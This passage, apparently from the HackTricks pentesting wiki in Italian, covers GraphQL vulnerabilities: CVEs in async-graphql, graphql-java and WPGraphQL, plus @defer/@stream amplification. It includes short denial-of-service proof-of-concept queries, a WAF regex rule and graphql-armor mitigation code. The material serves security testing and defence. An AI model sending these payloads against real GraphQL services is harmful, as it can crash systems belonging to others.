L’ecosistema GraphQL evolve molto rapidamente; negli ultimi due anni sono stati divulgati diversi problemi critici nelle librerie server più utilizzate. Quando trovi un endpoint GraphQL vale quindi la pena eseguire il fingerprinting del motore (vedi graphw00f) e controllare la versione in esecuzione rispetto alle vulnerabilità riportate di seguito.

CVE-2024-47614 – async-graphql directive-overload DoS (Rust)

  • Affected: async-graphql < 7.0.10 (Rust)
  • Causa principale: nessun limite alle direttive duplicate (es. migliaia di @include) che vengono espanse in un numero esponenziale di nodi di esecuzione.
  • Impatto: una singola richiesta HTTP può esaurire CPU/RAM e causare il crash del servizio.
  • Correzione/mitigazione: eseguire l’upgrade a ≥ 7.0.10 oppure chiamare SchemaBuilder.limit_directives(); in alternativa filtrare le richieste con una regola WAF come "@include.*@include.*@include".
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}

CVE-2024-40094 – graphql-java ENF profondità/complessità bypass

  • Interessati: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
  • Causa principale: ExecutableNormalizedFields non erano considerate dalla strumentazione MaxQueryDepth / MaxQueryComplexity. Di conseguenza i frammenti ricorsivi bypassavano tutti i limiti.
  • Impatto: DoS non autenticato contro stack Java che incorporano graphql-java (Spring Boot, Netflix DGS, Atlassian products…).
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }

CVE-2023-23684 – WPGraphQL: catena SSRF a RCE

  • Interessati: WPGraphQL ≤ 1.14.5 (plugin WordPress).
  • Causa principale: la mutation createMediaItem accettava URL controllati dall’attaccante filePath, consentendo accesso alla rete interna e la scrittura di file.
  • Impatto: Editors/Authors autenticati potevano raggiungere endpoint dei metadata o scrivere file PHP per remote code execution (RCE).

Abuso della consegna incrementale: @defer / @stream

Dal 2023 la maggior parte dei principali server (Apollo 4, GraphQL-Java 20+, HotChocolate 13) ha implementato le direttive di incremental delivery definite dal GraphQL-over-HTTP WG. Ogni patch differita viene inviata come chunk separato, quindi la dimensione totale della risposta diventa N + 1 (envelope + patches). Una query che contiene migliaia di piccoli campi differiti produce quindi una risposta molto grande pur costando all’attaccante una sola richiesta — un classico amplification DoS e un modo per bypassare le regole WAF legate alla dimensione del body che ispezionano solo il primo chunk. Gli stessi membri del WG hanno segnalato il rischio.

Esempio di payload che genera 2 000 patches:

query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}

Mitigazione: disabilitare @defer/@stream in produzione o imporre max_patches, max_bytes cumulativi e il tempo di esecuzione. Librerie come graphql-armor (vedi sotto) già applicano impostazioni predefinite sensate.


Middleware difensivo (2024+)

ProgettoNote
graphql-armorNode/TypeScript validation middleware pubblicato da Escape Tech. Implementa limiti plug-and-play per la profondità delle query, il numero di alias/field/directive, i token e il costo; compatibile con Apollo Server, GraphQL Yoga/Envelop, Helix, ecc.

Avvio rapido:

import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';

const protectedSchema = applyMiddleware(schema, ...protect());

graphql-armor ora bloccherà query eccessivamente profonde, complesse o con troppe direttive, proteggendo contro i CVE sopra citati.


Strumenti

Scanner di vulnerabilità

Script per sfruttare vulnerabilità comuni

Client

Test automatici

https://graphql-dashboard.herokuapp.com/

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks